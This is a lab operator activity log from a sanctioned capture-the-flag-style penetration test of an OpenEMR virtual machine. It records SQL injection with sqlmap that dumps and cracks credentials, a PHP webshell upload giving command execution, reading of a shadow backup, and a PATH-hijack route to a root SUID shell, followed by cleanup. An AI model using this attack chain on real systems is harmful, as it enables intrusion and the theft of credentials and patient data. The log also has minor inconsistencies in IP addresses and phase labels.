

ANNEX B - OPERATOR ACTIVITY LOG

Date /Time	Phase	Action / Command Purpose	Key Observation / Result	Evidence Ref.
18/09/2026: 9:50 AM	Phase 0 – Preparation & Control	Reviewed the Iron Raven Rules of Engagement and assessment instructions.	Assessment scope and operating constraints established before reconnaissance.	Operator Log
18/09/2026: 10:30 AM	Phase 0 – Preparation & Control	Environment Preparation / Set up lab and snapshot	Clean baseline created	E-1_Phase0_Clean_Baseline
18/09/2026: 11:20 AM	Phase 1 - Reconnaissance	ip a / Identify Kali's own IP address and confirm network interface configuration.	Kali IP confirmed as 192.168.56.105 on the isolated Host-Only network.	E-2_Phase1_Recon_Kali_IP
18/09/2026: 11:22 AM	Phase 1 - Reconnaissance	sudo netdiscover -r 192.168.56.0/24 / Discover live hosts	Discovered 3 hosts: .1, .100, and .109. Noted two possible candidates for the target.	E-3_Phase1_Recon_NetDiscover.png
18/09/2026: 11:32 AM	Phase 1 - Reconnaissance	sudo nmap -sV -p- -T4 192.168.56.108 / verify if .109 is target and enumerate services.	Target Confirmed. Target IP is 192.168.56.109.	E-4_Phase1_Recon_Nmap_192.168.56.109.png
18/09/2026: 11:35 AM	Phase 1 - Reconnaissance	nmap -sC -sV / Service discovery	Ports 21 (FTP), 80 (HTTP) open; ProFTPD 1.3.3d, Apache 2.2.17	E-4_Phase1_Recon_Nmap_192.168.56.109.png
18/09/2026: 11:42 AM	Phase 1 - Reconnaissance	nmap -p- / All-port scan	Only 21 and 80 open	E-5_Phase1_Recon_All_Port_Scan.png

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18/09/2026: 11:43 AM	Phase 1 - Reconnaissance	nmap -sU --top-ports 50 / UDP scan	Only 5353/udp mDNS open	E-6_Phase1_Recon_UDP_Scan.png
22/09/2026 08:18	Phase 2 – Enumeration	curl -i http://192.168.56.109/ / Fetch HTTP root to identify web service	Apache 2.2.17 returning "Coming Soon 2" decoy page	E-7_Phase2_HTTP_Root_Probe.png
22/09/2026 08:21	Phase 2 – Enumeration	curl -i http://192.168.56.109/robots.txt / Enumerate robots.txt for disclosed paths	robots.txt disallowed: /manual/, /manual-2.2/, /addon-modules/, /doc/, /images/, /all_our_email_addresses, /admin/	E-8_Phase2_Robots_Txt.png
22/09/2026 08:24	Phase 2 – Enumeration	gobuster dir -u http://192.168.56.109 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt / Directory brute-force with raft wordlist	Found only common directories (css, js, images, fonts, vendor, gitweb). No app endpoint found.	E-9_Phase2_Gobuster_Raft.png
22/09/2026 08:30	Phase 2 – Enumeration	gobuster dir -u http://192.168.56.109 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -t 50 / Deeper directory brute-force with DirBuster big list	openemr (Status: 301) → http://192.168.56.109/openemr/ — OpenEMR web application discovered	E-10_Phase2_Gobuster_OpenEMR_Discovery.png
22/09/2026 08:36	Phase 2 – Enumeration	curl -i http://192.168.56.109/openemr/ / Confirm OpenEMR endpoint and identify server-side stack	HTTP 200 OK, redirect to interface/login/login_frame.php?site=default, X-Powered-By: PHP/5.3.3	E-11_Phase2_OpenEMR_Endpoint_Confirm.png
22/09/2026 11:15	Phase 2 – Enumeration	curl -s ".../validateUser.php?u=admin" / Test for SQL injection	SQL syntax error in query revealed: select password,length(password) as passlength from users	E-12_Phase2_OpenEMR_ValidateUser_SQLI_Error.png

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22/09/2026 11:24	Phase 2 – Enumeration	User enumeration via validateUser.php	admin -> 1 (valid user, SHA1 hash)	E-13_Phase2_OpenEMR_User_Enumeration.png
22/09/2026 11:25	Phase 2 – Enumeration	sqlmap -u ".../validateUser.php?u=admin" -p u --dbs / Automate SQLi exploitation	Boolean, error, and time-based SQLi confirmed. Databases: information_schema	E-14_Phase2_OpenEMR_SQLMap_Injection_Confirmed.png
22/09/2026 11:34	Phase 2 – Enumeration	sqlmap ... -D openemr -T users --dump / Dump credentials	Admin hash 3863efef9ee2bfbcb51ecdca359c6302bed1389e8 cracked to ackbar. Medical user hash cracked to medical	E-15_Phase2_OpenEMR_Users_Table_Dump.png
22/09/2026 12:10	Phase 3 – Initial Access	Login with admin:ackbar via browser at http://192.168.56.109/openemr/	Successful authentication. OpenEMR Administrator dashboard loaded.	E-16_Phase3_OpenEMR_Admin_Login_Success.png
22/09/2026 12:40 – 13:50	Phase 3 – Initial Access	Create patient record and upload /tmp/cmd.php via Patient Documents	Upload Report: file saved to /var/www/html/openemr/sites/default/documents/1/cmd.php	E-17, E-18, E-19
22/09/2026 13:56	Phase 4 – Initial Access	curl "http://192.168.56.109/openemr/sites/default/documents/1/cmd.php?c=id" / Test webshell	RCE confirmed — running as uid=479(apache) gid=416(apache)	E-20_Phase3_RCE_Confirmed.png
22/09/2026 13:59	Phase 5 – Post-Exploitation	Enumerate host identity, OS, kernel	Host: localhost.localdomain, Kernel: 2.6.38.8-pclos3.bfs, User: apache (uid=479), PCLinuxOS 2011	E-21_Phase5_Host_Enumeration.png
22/09/2026 14:00	Phase 5 – Post-Exploitation	Enumerate SUID binaries: find / -perm -4000 -type f	Found /usr/bin/healthcheck SUID root using system() with unqualified command paths	—

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22/09/2026 14:15	Phase 5 – Post-Exploitation	Read /home/almirant/user.txt and /var/backups/shadow	User flag: d41d8cd98f00b204e9800998ecf8427e. Leaked bcrypt hashes for root/medical/almirant	E-22_Phase6_User_Flag.png, E-23_Phase6_Shadow_Backup_Hashes.png
22/09/2026 18:41	Phase 6 – Privilege Escalation	Attempt bcrypt cracking with john/hashcat	Not viable (bcrypt cost 8, limited CPU)	Activity Log
22/09/2026 18:45	Phase 6 – Privilege Escalation	PATH hijack via /usr/bin/healthcheck	Created /tmp/ifconfig payload → SUID root bash at /tmp/rootbash	E-24_Phase6_Path_Hijack_Setup.png
22/09/2026 18:46	Phase 6 – Privilege Escalation	Execute /tmp/rootbash -p -c id	euid=0(root) — privilege escalation successful	E-25_Phase6_SUID_Bash_Created
22/09/2026 18:47	Phase 6 – Privilege Escalation	Read /root/root.txt	Root flag captured	E-26_Phase6_Root_Flag_Captured
22/09/2026 19:00	Phase 7 – Cleanup & Restoration	rm -f /tmp/rootbash /tmp/ifconfig /tmp/root_flag.txt / Remove privesc artifacts	SUID backdoor removed	E-27_Phase7_Cleanup_Verified.png
22/09/2026 19:02	Phase 7 – Cleanup & Restoration	rm -f /var/www/html/openemr/sites/default/documents/1/cmd.php / Remove webshell	Webshell removed	E-27_Phase7_Cleanup_Verified.png
22/09/2026 19:03	Phase 7 – Cleanup & Restoration	ls -la /tmp/rootbash /tmp/ifconfig 2>/dev/null / Verify cleanup	Confirmed removed (No such file or directory)	E-27_Phase7_Cleanup_Verified.png

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22/09/2026 19:08	Phase 7 – Cleanup & Restoration	Restore snapshot CIP-A105-CTF2-CLEAN-BASELINE in VirtualBox	Clean baseline restored	E-28_Phase7_Clean_Baseline_Restored.png
22/09/2026 19:12	Phase 7 – Cleanup & Restoration	Boot restored OPFOR-02 and verify page/shell removal	Clean state confirmed; no learner artifacts remain	E-29_Phase7_Restoration_Verified.png